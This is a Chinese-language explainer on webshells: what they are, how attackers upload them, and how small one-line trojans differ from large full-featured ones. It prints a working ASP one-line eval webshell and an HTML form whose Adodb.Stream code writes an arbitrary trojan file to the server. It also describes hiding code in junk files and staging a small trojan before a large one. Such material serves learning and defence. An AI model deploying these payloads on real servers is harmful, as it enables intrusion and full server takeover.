webshell,顧名思義:web指的是在web服務器上,而shell是用腳本語言編寫的腳本程序,webshell就是就是web的一個管理 工具,可以對web服務器進行操作的權限,也叫webadmin。webshell一般是被網站管理員用於網站管理、服務器管理等等一些用途,但是由於 webshell的功能比較強大,可以上傳下載文件,查看數據庫,甚至可以調用一些服務器上系統的相關命令(比如創建用戶,修改刪除文件之類的),通常被 黑客利用,黑客通過一些上傳方式,將自己編寫的webshell上傳到web服務器的頁面的目錄下,然後通過頁面訪問的形式進行入侵,或者通過插入一句話 連接本地的一些相關工具直接對服務器進行入侵操作。
webshell根據腳本可以分為PHP腳本木馬,ASP腳本木馬,也有基於.NET的腳本木馬和JSP腳本木馬。在國外,還有用python腳本語言寫的動態網頁,當然也有與之相關的webshell。 根據功能也分為大馬與小馬,小馬通常指的一句話木馬,例如:<%eval request(“pass”)%>通常把這句話寫入一個文檔裡面,然後文件名改成xx.asp。然後傳到服務器上面。這裡eval方法將 request(“pass”)轉換成代碼執行,request函數的作用是應用外部文件。這相當於一句話木馬的客戶端配置。服務器配置(即本機配置): Default 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <form action=http://主機路徑/TEXT.asp method=post> <textarea name=value cols=120 rows=10 width=45> set lP=server.createObject("Adodb.Stream")//建立流對象 lP.Open //打開 lP.Type=2 //以文本方式 lP.CharSet="gb2312" //字體標准 lP.writetext request("newvalue") lP.SaveToFile server.mappath("newmm.asp"),2 //將木馬內容以覆蓋文件的方式寫入newmm.asp,2就是已覆 蓋的方式 lP.Close //關閉對象 set lP=nothing //釋放對象 response.redirect "newmm.asp" //轉向newmm.asp </textarea> <textarea name=newvalue cols=120 rows=10 width=45>(添入生成木馬的內容) </textarea> <BR> <center> <br> <input type=submit value=提交> 這裡通過提交表單的方式,將木馬提交上去,具體的做法是將定義一個對象IP,然後以文本方式寫入newvalue裡 面的內容(newvalue的內容在textarea定義),寫入以覆蓋的方式產生ASP文件,然後執行這個腳本。其中客戶端中的value代表的是表單 的名字,必須跟服務端(本機)的post提交中的表單名一樣,所以這裡的value可以為任意字符,相當於一個密碼之類的東西,但是這個‘密碼’是明文 的,可以截取下來。PHP的一句話原理跟以上的原理差不多,就是語言的差別導致語法不同。這就是小馬的基本工作原理。大馬的工作模式簡單的多,他沒有客戶端與服務端的區別,就是一些腳本大牛直接把一句話木馬的服務端整合到了一起,通過上傳漏洞將大馬上傳,然後復制 該大馬的url地址直接訪問,在頁面上執行對web服務器的滲透工作。但是有些網站對上傳文件做了嚴格的限制,因為大馬的功能較多,所以體積相對較大,很 有可能超出了網站上傳限制,但是小馬的體積可以控制(比如把代碼復制很多遍,或者在一個亂碼文件中夾入代碼),但是小馬操作起來比較繁瑣,可以先上傳小馬 拿到webshell,然後通過小馬的連接上傳大馬拿到服務器。